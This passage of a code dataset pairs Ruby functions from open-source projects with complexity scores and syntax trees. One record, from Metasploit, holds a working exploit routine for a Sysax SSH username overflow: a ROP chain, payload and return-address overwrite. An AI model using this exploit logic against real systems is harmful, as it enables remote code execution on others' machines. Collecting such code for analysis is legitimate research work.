\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"str\",\"children\":[\"](\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"full_url\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"activitySubtitle\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"excerpt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"chat_integration_teams_excerpt_length\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text_entities\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip_links\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remap_emoji\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"activityImage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"user\"]},\"small_avatar_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"facts\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"full_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"display_name\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"markdown\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}","id":"cb6a5a60-6ab7-4e57-851f-41f8c23f8da0"}
{"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/codesandbox_tag.rb","start_line":48,"raw_source":"def parse_options(options)\n    return if options.blank?\n\n    query = options.filter_map { |option| option if valid_option(option) }.join(\"&\")\n\n    query.blank? ? query : \"?#{query}\"\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_option\",{\"type\":\"lvar\",\"children\":[\"option\"]}]},{\"type\":\"lvar\",\"children\":[\"option\"]},null]}]},\"join\",{\"type\":\"str\",\"children\":[\"&\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"blank?\"]},{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]}]}]}","id":"35369175-24ff-42cb-9c65-5c3d0b704968"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/search_chatable.rb","start_line":93,"raw_source":"def search_groups(params, guardian)\n      Group\n        .visible_groups(guardian.user)\n        .members_visible_groups(guardian.user)\n        .includes(users: :user_option)\n        .where(\n          \"groups.name ILIKE :term_like OR groups.full_name ILIKE :term_like\",\n          term_like: \"%#{params.term}%\",\n        )\n        .limit(SEARCH_RESULT_LIMIT)\n    end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"search_groups\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"guardian\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"visible_groups\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"user\"]}]},\"members_visible_groups\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"user\"]}]},\"includes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"user_option\"]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"groups.name ILIKE :term_like OR groups.full_name ILIKE :term_like\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"term_like\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"term\"]}]},{\"type\":\"str\",\"children\":[\"%\"]}]}]}]}]},\"limit\",{\"type\":\"const\",\"children\":[null,\"SEARCH_RESULT_LIMIT\"]}]}]}","id":"207551b3-bad0-4aee-8bc4-9812c1c2f3d8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ssh/sysax_ssh_username.rb","start_line":131,"raw_source":"def generate_rop_exploit\n    junk = rand_text(4).unpack('L')[0].to_i\n    nop = make_nops(4).unpack('L')[0].to_i\n\n    # !mona rop -m msvcrt\n    p =\n      [\n        0x77bb2563, # POP EAX # RETN\n        0x77ba1114, # <- *&VirtualProtect()\n        0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN\n        junk,\n        0x77bb0c86, # XCHG EAX,ESI # RETN\n        0x77bc9801, # POP EBP # RETN\n        0x77be2265, # ptr to 'push esp #  ret'\n        0x77bb2563, # POP EAX # RETN\n        0x03C0990F,\n        0x77bdd441, # SUB EAX, 03c0940f\n        0x77bb48d3, # POP EBX, RET\n        0x77bf21e0, # .data\n        0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN\n        0x77bbfc02, # POP ECX # RETN\n        0x77bef001, # W pointer (lpOldProtect) (-> ecx)\n        0x77bd8c04, # POP EDI # RETN\n        0x77bd8c05, # ROP NOP (-> edi)\n        0x77bb2563, # POP EAX # RETN\n        0x03c0984f,\n        0x77bdd441, # SUB EAX, 03c0940f\n        0x77bb8285, # XCHG EAX,EDX # RETN\n        0x77bb2563, # POP EAX # RETN\n        nop,\n        0x77be6591, # PUSHAD # ADD AL,0EF # RETN\n      ].pack('V*')\n\n    p << payload.encoded\n\n    #\n    # Similar buffer structure to generate_regular_exploit\n    #\n    buf = ''\n    buf << rand_text(392, payload_badchars)\n    buf << rand_text(20, payload_badchars)\n    buf << rand_text(1012, payload_badchars)\n    buf << p\n    buf << rand_text(9204 - buf.length)\n    buf << rand_text(4, payload_badchars)\n    buf << [target.ret].pack('V*')\n    buf\n  end","complexity_score":54.1,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_rop_exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"junk\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"int\",\"children\":[4]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"L\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"nop\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"int\",\"children\":[4]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"L\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2008753507]},{\"type\":\"int\",\"children\":[2008682772]},{\"type\":\"int\",\"children\":[2008805956]},{\"type\":\"lvar\",\"children\":[\"junk\"]},{\"type\":\"int\",\"children\":[2008747142]},{\"type\":\"int\",\"children\":[2008848385]},{\"type\":\"int\",\"children\":[2008949349]},{\"type\":\"int\",\"children\":[2008753507]},{\"type\":\"int\",\"children\":[62953743]},{\"type\":\"int\",\"children\":[2008929345]},{\"type\":\"int\",\"children\":[2008762579]},{\"type\":\"int\",\"children\":[2009014752]},{\"type\":\"int\",\"children\":[2008805634]},{\"type\":\"int\",\"children\":[2008808450]},{\"type\":\"int\",\"children\":[2009001985]},{\"type\":\"int\",\"children\":[2008910852]},{\"type\":\"int\",\"children\":[2008910853]},{\"type\":\"int\",\"children\":[2008753507]},{\"type\":\"int\",\"children\":[62953551]},{\"type\":\"int\",\"children\":[2008929345]},{\"type\":\"int\",\"children\":[2008777349]},{\"type\":\"int\",\"children\":[2008753507]},{\"type\":\"lvar\",\"children\":[\"nop\"]},{\"type\":\"int\",\"children\":[2008966545]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V*\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"int\",\"children\":[392]},{\"type\":\"send\",\"children\":[null,\"payload_badchars\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"int\",\"children\":[20]},{\"type\":\"send\",\"children\":[null,\"payload_badchars\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"int\",\"children\":[1012]},{\"type\":\"send\",\"children\":[null,\"payload_badchars\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[9204]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"length\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[null,\"payload_badchars\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V*\"]}]}]},{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]}","id":"51c405bf-888a-41a3-8c4c-3dd8f64f9bd7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/base_move_relations_service.rb","start_line":7,"raw_source":"def execute(source_project, remove_remaining_elements: true)\n      return if source_project.blank?\n\n      @source_project = source_project\n\n      true\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_project\"]},{\"type\":\"kwoptarg\",\"children\":[\"remove_remaining_elements\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_project\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"ivasgn\",\"children\":[\"@source_project\",{\"type\":\"lvar\",\"children\":[\"source_project\"]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"6dd1c631-3d56-4adb-aa57-a6d2b787f600"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/generator/configuration_injector.rb","start_line":17,"raw_source":"def initialize(configuration_file_path:, badge:, version_added: '<<next>>')\n          @configuration_file_path = configuration_file_path\n          @badge = badge\n          @version_added = version_added\n          @output = output\n        end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"configuration_file_path\"]},{\"type\":\"kwarg\",\"children\":[\"badge\"]},{\"type\":\"kwoptarg\",\"children\":[\"version_added\",{\"type\":\"str\",\"children\":[\"<<next>>\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@configuration_file_path\",{\"type\":\"lvar\",\"children\":[\"configuration_file_path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@badge\",{\"type\":\"lvar\",\"children\":[\"badge\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@version_added\",{\"type\":\"lvar\",\"children\":[\"version_added\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@output\",{\"type\":\"send\",\"children\":[null,\"output\"]}]}]}]}","id":"d3cf3834-fc8a-47c6-8c5d-fec6fd34f7c5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_actions/conditions/base.rb","start_line":91,"raw_source":"def self.custom_action_scope(work_packages, user)\n    custom_action_scope_has_current(work_packages, user)\n      .or(custom_action_scope_has_no)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"custom_action_scope\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_packages\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_action_scope_has_current\",{\"type\":\"lvar\",\"children\":[\"work_packages\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"or\",{\"type\":\"send\",\"children\":[null,\"custom_action_scope_has_no\"]}]}]}","id":"f50678c2-9c78-44cb-b4a5-5c0845a0b9dc"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/example_group.rb","start_line":675,"raw_source":"def self.id\n        Metadata.id_from(metadata)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metadata\"]},\"id_from\",{\"type\":\"send\",\"children\":[null,\"metadata\"]}]}]}","id":"7f413f8d-5115-402b-8997-ee94f0de6b0c"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/backup_file_handler.rb","start_line":69,"raw_source":"def ensure_directory_exists(directory)\n      log \"Making sure #{directory} exists...\"\n      FileUtils.mkdir_p(directory)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_directory_exists\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"directory\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Making sure \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directory\"]}]},{\"type\":\"str\",\"children\":[\" exists...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"directory\"]}]}]}]}","id":"a1ca1681-9c02-4cdc-9296-9711aed31004"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails3.1/app/controllers/other_controller.rb","start_line":10,"raw_source":"def c\n    @c = params[:bad]\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"c\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@c\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bad\"]}]}]}]}","id":"3ac00cb4-73fb-4b0f-8ae2-1a5cfacff328"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/uuid_mixin.rb","start_line":8,"raw_source":"def dup\n    super.tap { |obj| obj.guid = SecureRandom.uuid }\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"guid=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]}]}]}","id":"c6462cf6-2bf7-4c59-bc73-0e20cb81ad75"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/bedrock/signing.rb","start_line":345,"raw_source":"def credential(credentials, date)\n            \"#{credentials.access_key_id}/#{credential_scope(date)}\"\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"credential\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"credentials\"]},{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credentials\"]},\"access_key_id\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"credential_scope\",{\"type\":\"lvar\",\"children\":[\"date\"]}]}]}]}]}","id":"cc54b6be-8a6f-4952-8ba7-8b126a41d974"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250908105903_create_oauth_access_grant_archived_records.rb","start_line":11,"raw_source":"def up\n    unless table_exists?(:oauth_access_grant_archived_records)\n      create_table :oauth_access_grant_archived_records, id: false do |t|\n        t.bigint :id, null: false\n        t.bigint :resource_owner_id, null: false\n        t.bigint :application_id, null: false\n        t.string :token, null: false\n        t.integer :expires_in, null: false\n        t.text :redirect_uri, null: false\n        t.datetime :created_at, null: false\n        t.datetime :revoked_at\n        t.string :scopes\n        t.text :code_challenge\n        t.text :code_challenge_method\n        t.references :organization, null: false, index: true, foreign_key: { on_delete: :cascade }\n        t.datetime_with_timezone :archived_at, null: false, default: -> { 'CURRENT_TIMESTAMP' }\n      end\n\n      execute \"ALTER TABLE oauth_access_grant_archived_records ADD PRIMARY KEY (id)\"\n    end\n\n    add_text_limit :oauth_access_grant_archived_records, :code_challenge, 128\n    add_text_limit :oauth_access_grant_archived_records, :code_challenge_method, 5\n  end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_exists?\",{\"type\":\"sym\",\"children\":[\"oauth_access_grant_archived_records\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"oauth_access_grant_archived_records\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"resource_owner_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"application_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"redirect_uri\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"revoked_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"scopes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"code_challenge\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"code_challenge_method\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"organization\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime_with_timezone\",{\"type\":\"sym\",\"children\":[\"archived_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"CURRENT_TIMESTAMP\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"ALTER TABLE oauth_access_grant_archived_records ADD PRIMARY KEY (id)\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"oauth_access_grant_archived_records\"]},{\"type\":\"sym\",\"children\":[\"code_challenge\"]},{\"type\":\"int\",\"children\":[128]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"oauth_access_grant_archived_records\"]},{\"type\":\"sym\",\"children\":[\"code_challenge_method\"]},{\"type\":\"int\",\"children\":[5]}]}]}]}","id":"865ca513-5a86-4bb9-9d36-621c2f31bd0d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/placement_group.rb","start_line":18,"raw_source":"def self.my_zone(ems)\n    # TODO(pblaho): find unified way how to do that\n    ems ? ems.my_zone : MiqServer.my_zone\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"my_zone\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ems\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"my_zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqServer\"]},\"my_zone\"]}]}]}","id":"58be8877-fa1e-4711-90b7-f15817ad717a"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/generated_definitions/cr.rb","start_line":13,"raw_source":"def self.holidays_by_month\n      {\n                0 => [{:function => \"easter(year)\", :function_arguments => [:year], :function_modifier => -3, :name => \"Jueves Santo\", :regions => [:cr]},\n            {:function => \"easter(year)\", :function_arguments => [:year], :function_modifier => -2, :name => \"Viernes Santo\", :regions => [:cr]}],\n      1 => [{:mday => 1, :name => \"Año Nuevo\", :regions => [:cr]}],\n      4 => [{:mday => 11, :name => \"Día de Juan Santamaría\", :regions => [:cr]}],\n      5 => [{:mday => 1, :name => \"Día del Trabajador\", :regions => [:cr]}],\n      7 => [{:mday => 25, :name => \"Día de la Anexión de Guanacaste\", :regions => [:cr]}],\n      8 => [{:mday => 2, :name => \"Día de la Virgen de los Angeles\", :regions => [:cr]},\n            {:mday => 15, :name => \"Día de la Madre\", :regions => [:cr]}],\n      9 => [{:mday => 15, :name => \"Día de la Independencia\", :regions => [:cr]}],\n      10 => [{:mday => 12, :name => \"Día de las Culturas\", :regions => [:cr]}],\n      12 => [{:mday => 25, :name => \"Navidad\", :regions => [:cr]}]\n      }\n    end","complexity_score":4.75,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"holidays_by_month\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[-3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Jueves Santo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"cr\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[-2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Viernes 